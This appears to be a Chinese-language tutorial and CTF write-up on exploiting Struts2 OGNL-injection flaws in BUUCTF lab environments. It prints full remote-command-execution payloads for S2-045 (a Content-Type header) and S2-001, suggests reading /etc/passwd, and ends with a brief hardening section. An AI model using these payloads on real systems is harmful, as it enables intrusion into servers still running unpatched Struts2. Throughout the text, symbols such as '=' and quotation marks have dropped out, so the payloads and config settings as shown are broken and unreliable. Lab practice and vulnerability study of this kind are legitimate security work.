struts2漏洞实战-BUUCTF平台漏洞复现与分析

struts2漏洞实战-BUUCTF平台漏洞复现与分析 1. Struts2漏洞概述与BUUCTF平台简介Struts2作为Java EE领域广泛使用的MVC框架历史上曾因OGNL表达式注入问题爆发过一系列高危漏洞。这些漏洞允许攻击者通过精心构造的请求执行任意系统命令对Web应用安全构成严重威胁。BUUCTF平台集成了各类漏洞靶场环境其中Struts2系列漏洞因其典型性和高危害性成为渗透测试学习的绝佳教材。我第一次接触Struts2漏洞是在2017年某次企业渗透测试中当时遇到一个使用Struts2-016的老版本系统。通过简单的URL参数注入就获取了服务器权限这种低门槛高危害的特性让我意识到框架安全的重要性。在BUUCTF平台上复现这些漏洞时建议重点关注以下几个经典漏洞版本S2-001最早的OGNL表达式注入漏洞出现在表单验证失败时的错误处理中S2-045影响范围最广的文件上传漏洞通过Content-Type头注入S2-057命名空间处理不当导致的RCE漏洞S2-052REST插件XStream反序列化漏洞这些漏洞虽然官方早已发布补丁但在互联网上仍有大量未修复的系统。理解它们的原理不仅能帮助防御更能提升代码审计能力。2. 实验环境搭建与工具准备2.1 BUUCTF靶场配置BUUCTF平台已经内置了Struts2全系列漏洞环境访问对应端口即可开始实验。以S2-045为例http://node3.buuoj.cn:29922/struts2-showcase/如果遇到连接问题可以尝试以下排查步骤检查网络是否正常访问平台域名确认端口号与题目要求一致清除浏览器缓存后重试我遇到过几次环境不稳定的情况通常等待几分钟后重新连接就能解决。建议同时打开两个浏览器窗口一个用于发送攻击请求另一个保持正常访问以确认服务状态。2.2 必备工具清单Struts2-Scan是最常用的漏洞检测工具安装方法如下git clone https://github.com/HatBoy/Struts2-Scan.git cd Struts2-Scan pip install -r requirements.txt实际使用中发现这个工具对Python3兼容性不太好推荐在Python2.7环境下运行。主要功能包括自动识别Struts2版本检测30种已知漏洞生成可执行的Payload模板另一个实用工具是Burp Suite用于拦截和修改HTTP请求。配置代理时要注意设置监听端口为8080浏览器配置对应代理安装Burp的CA证书3. 典型漏洞复现详解3.1 S2-045漏洞实战这个漏洞源于文件上传时对Content-Type头的不当处理。复现步骤如下使用Burp拦截普通POST请求修改Content-Type头为以下PayloadContent-Type: %{(#testmultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}发送请求后服务器响应中将包含系统环境变量我在测试时发现某些环境下需要尝试多次才能成功。如果env命令被过滤可以换成cat /etc/passwd等替代命令。这个漏洞的杀伤力在于不需要任何前置条件直接通过HTTP头就能触发。3.2 S2-001手工利用分析这个漏洞的触发点在表单验证错误时的OGNL表达式解析。手工构造Payload时要注意URL编码%{ #a(new java.lang.ProcessBuilder(new java.lang.String[]{env})).start(), #b#a.getInputStream(), #cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c), #enew char[50000], #d.read(#e), #f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close() }这个Payload的工作原理是创建ProcessBuilder执行env命令获取命令输出流通过BufferedReader读取输出将结果写入HTTP响应在BUUCTF平台上测试时记得把env替换为题目指定的命令。我最初测试时漏掉了最后的close()调用导致响应一直处于挂起状态。4. 漏洞防御与学习建议4.1 防护措施对于开发人员建议及时升级到Struts2最新版本禁用动态方法调用struts.enable.DynamicMethodInvocationfalse限制OGNL表达式解析struts.ognl.allowStaticMethodAccessfalse在WAF层面可以过滤Content-Type中的特殊字符监控异常的OGNL表达式模式限制HTTP头长度4.2 学习路径建议从入门到精通建议分三个阶段基础阶段在BUUCTF上完成S2-001、S2-005、S2-007的复现进阶阶段分析S2-045、S2-057等漏洞的官方补丁深入阶段阅读OGNL源码理解表达式解析机制我个人的经验是每完成一个漏洞复现后立即查阅官方安全公告了解修复方案。这样既能理解漏洞本质又能学习安全开发技巧。遇到问题时可以查看Struts2的GitHub提交记录往往能找到关键线索。